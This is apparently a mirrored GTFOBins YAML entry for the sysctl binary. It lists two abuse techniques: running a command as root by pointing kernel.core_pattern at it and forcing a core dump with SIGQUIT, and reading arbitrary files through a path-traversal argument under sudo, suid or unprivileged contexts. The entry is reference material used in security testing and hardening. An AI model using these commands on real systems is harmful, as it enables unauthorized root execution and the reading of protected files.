mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-08-08 12:14:13 +02:00
30 lines
569 B
Plaintext
30 lines
569 B
Plaintext
---
|
|
functions:
|
|
command:
|
|
- blind: true
|
|
code: |-
|
|
sysctl 'kernel.core_pattern=|/path/to/command'
|
|
comment: |-
|
|
The command is executed by `root` in the background when a core dump occurs.
|
|
|
|
To trigger a core dump, send the `SIGQUIT` signal to a process, for example:
|
|
|
|
```
|
|
sleep infinity &
|
|
kill -QUIT $!
|
|
```
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
file-read:
|
|
- binary: false
|
|
code: |-
|
|
sysctl -n "/../../path/to/input-file"
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
version: |-
|
|
< 4
|
|
...
|